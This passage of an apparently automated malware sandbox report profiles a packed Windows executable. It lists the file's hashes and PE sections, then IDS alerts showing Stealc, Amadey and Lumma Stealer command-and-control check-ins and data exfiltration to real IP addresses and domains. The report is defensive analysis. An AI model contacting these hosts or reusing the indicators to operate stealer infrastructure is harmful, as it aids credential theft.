URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9448282129236745
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'744'384 bytes
MD5:	de2c57daba8a1e3b80177b5c161d68c1
SHA1:	7f5add1ca0e771b5254fdcc8f2646ad39aa76094
SHA256:	c898a4926d282b9c3256633cf8cfc97e055129edb7c2d72147e78569421d4463
SHA512:	ff11cac9fc31bfd95e6c922f3d6dff2059f559120a399116e1db07d0c16de153ddba695e54b1057cc6e14efb003fe4918eb3ae23e3483246e959f9161db75e63
SSDEEP:	49152:mUaK5qkA7qOkGcBZ6XtaxUcko5NJCCGMexv:mUDdA7qOkGg6XkxAonsCGR
TLSH:	A785332BCEBBD8FCC21A707350F39726E73A5A6900D0FD89E807966B64D8DCA3745524
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa6f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBAA50B98CAh
haddps xmm3, dqword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0100000Ah
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	917cc4107fabe19198dfb14072890771	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x292000	0x200	0b2d92eda5245b192f222a523cd135a5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdsvuckv	0x4de000	0x190000	0x190000	1b5c973c4b9e17cfd40b1e777cf3f311	False	0.994532470703125	data	7.953988789764273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fmumcniz	0x66e000	0x1000	0x600	e25610432d8ade4921dc8aef088d1e73	False	0.548828125	data	4.749947547457334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x66f000	0x3000	0x2200	30f3439390797ffd939bfdaa5bd03b92	False	0.06548713235294118	DOS executable (COM)	0.7984396361731194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T19:17:30.419570+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:30.624001+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:30.634823+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-11-11T19:17:30.832612+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:30.940730+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-11-11T19:17:31.929544+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:32.494968+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:50.970069+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.7	49808	TCP
2024-11-11T19:17:52.687536+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:53.633895+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:54.214626+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:54.617593+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:55.477609+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:55.876929+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:59.133513+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49929	185.215.113.16	80	TCP
2024-11-11T19:18:10.695079+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	54265	TCP
2024-11-11T19:18:14.235429+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	54297	TCP
2024-11-11T19:19:04.884133+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	56450	185.215.113.43	80	TCP
2024-11-11T19:19:07.731323+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	56452	185.215.113.16	80	TCP
2024-11-11T19:19:11.068056+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	56451	TCP
2024-11-11T19:19:11.736689+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	56453	185.215.113.43	80	TCP
2024-11-11T19:19:12.460480+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	56454	185.215.113.16	80	TCP
2024-11-11T19:19:16.381851+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	56455	185.215.113.43	80	TCP
2024-11-11T19:19:18.262196+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	51545	1.1.1.1	53	UDP
2024-11-11T19:19:18.357321+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	51530	1.1.1.1	53	UDP
2024-11-11T19:19:18.383653+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	63630	1.1.1.1	53	UDP
2024-11-11T19:19:18.486228+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	63262	1.1.1.1	53	UDP
2024-11-11T19:19:18.533266+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	55240	1.1.1.1	53	UDP
2024-11-11T19:19:18.633729+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.7	51932	1.1.1.1	53	UDP
2024-11-11T19:19:18.722257+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.7	53208	1.1.1.1	53	UDP
2024-11-11T19:19:18.814303+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.7	51992	1.1.1.1	53	UDP
2024-11-11T19:19:19.528358+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56457	23.192.247.89	443	TCP
2024-11-11T19:19:20.059151+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	56457	23.192.247.89	443	TCP
2024-11-11T19:19:20.227925+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	56459	185.215.113.43	80	TCP
2024-11-11T19:19:20.733017+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	56458	185.215.113.206	80	TCP
2024-11-11T19:19:20.972587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:21.184009+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	56460	185.215.113.16	80	TCP
2024-11-11T19:19:21.246619+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:21.246619+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:21.770408+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:19:22.186582+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:19:22.186582+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:19:25.025250+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	56463	185.215.113.43	80	TCP
2024-11-11T19:19:26.283770+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56464	188.114.97.3	443	TCP
2024-11-11T19:19:28.454798+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	52533	1.1.1.1	53	UDP
2024-11-11T19:19:28.687678+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	62569	1.1.1.1	53	UDP
2024-11-11T19:19:28.859363+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	49567	1.1.1.1	53	UDP
2024-11-11T19:19:28.951860+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	55225	1.1.1.1	53	UDP
2024-11-11T19:19:29.079881+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	63983	1.1.1.1	53	UDP
2024-11-11T19:19:29.391231+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.7	65157	1.1.1.1	53	UDP
2024-11-11T19:19:29.631672+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.7	61767	1.1.1.1	53	UDP
2024-11-11T19:19:29.907853+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.7	53497	1.1.1.1	53	UDP
2024-11-11T19:19:30.744231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56467	23.192.247.89	443	TCP
2024-11-11T19:19:31.342662+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	56467	23.192.247.89	443	TCP
2024-11-11T19:19:31.769916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56469	188.114.97.3	443	TCP
2024-11-11T19:19:31.795149+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:32.182802+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:32.182802+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:33.425975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56471	188.114.97.3	443	TCP
2024-11-11T19:19:33.517882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56472	188.114.97.3	443	TCP
2024-11-11T19:19:54.222618+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	52197	1.1.1.1	53	UDP
2024-11-11T19:19:54.532187+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	62978	1.1.1.1	53	UDP
2024-11-11T19:19:54.862668+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	61220	1.1.1.1	53	UDP
2024-11-11T19:19:55.049572+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	56534	1.1.1.1	53	UDP
2024-11-11T19:19:55.281534+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	60979	1.1.1.1	53	UDP
2024-11-11T19:19:55.516339+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.7	64281	1.1.1.1	53	UDP
2024-11-11T19:19:55.754511+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.7	54843	1.1.1.1	53	UDP
2024-11-11T19:19:56.002857+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.7	62182	1.1.1.1	53	UDP
2024-11-11T19:19:56.868091+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56476	23.192.247.89	443	TCP
2024-11-11T19:19:57.567920+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	56476	23.192.247.89	443	TCP
2024-11-11T19:19:58.122552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56477	188.114.97.3	443	TCP
2024-11-11T19:19:58.599919+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	56477	188.114.97.3	443	TCP
2024-11-11T19:19:58.599919+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	56477	188.114.97.3	443	TCP
2024-11-11T19:20:05.024762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56478	188.114.97.3	443	TCP
2024-11-11T19:20:05.456648+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	56478	188.114.97.3	443	TCP
2024-11-11T19:20:05.456648+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	56478	188.114.97.3	443	TCP
2024-11-11T19:20:06.186454+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	56479	185.215.113.206	80	TCP
2024-11-11T19:20:06.208350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56480	188.114.97.3	443	TCP
2024-11-11T19:20:07.581458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56481	188.114.97.3	443	TCP
2024-11-11T19:20:09.370565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56482	188.114.97.3	443	TCP
2024-11-11T19:20:10.575719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	56483	188.114.97.3	443	TCP
2024-11-11T19:20:11.546667+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	56483	188.114.97.3	443	TCP
2024-11-11T19:20:12.283466+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	56484	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 19:17:23.070427895 CET	443	49698	104.98.116.138	192.168.2.7
Nov 11, 2024 19:17:23.070614100 CET	49698	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:23.967879057 CET	49674	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:23.967886925 CET	49675	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:24.061639071 CET	49672	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:29.553683996 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:29.558691978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:29.558789968 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:29.559886932 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:29.565093994 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:29.921942949 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:30.199743986 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.199877024 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.204174042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.209923029 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.296129942 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:30.419416904 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.419569969 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.421562910 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.426371098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.623804092 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.623857021 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.624001026 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.624149084 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.629410028 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.634823084 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832216978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832233906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832252979 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832264900 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832278013 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832293034 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:30.832612038 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.832612038 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.935852051 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:30.940730095 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.046015978 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:31.137804985 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.137914896 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:31.158533096 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:31.158618927 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:31.164822102 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.165174961 CET	80	49699	185.215.113.206	192.168.2.7
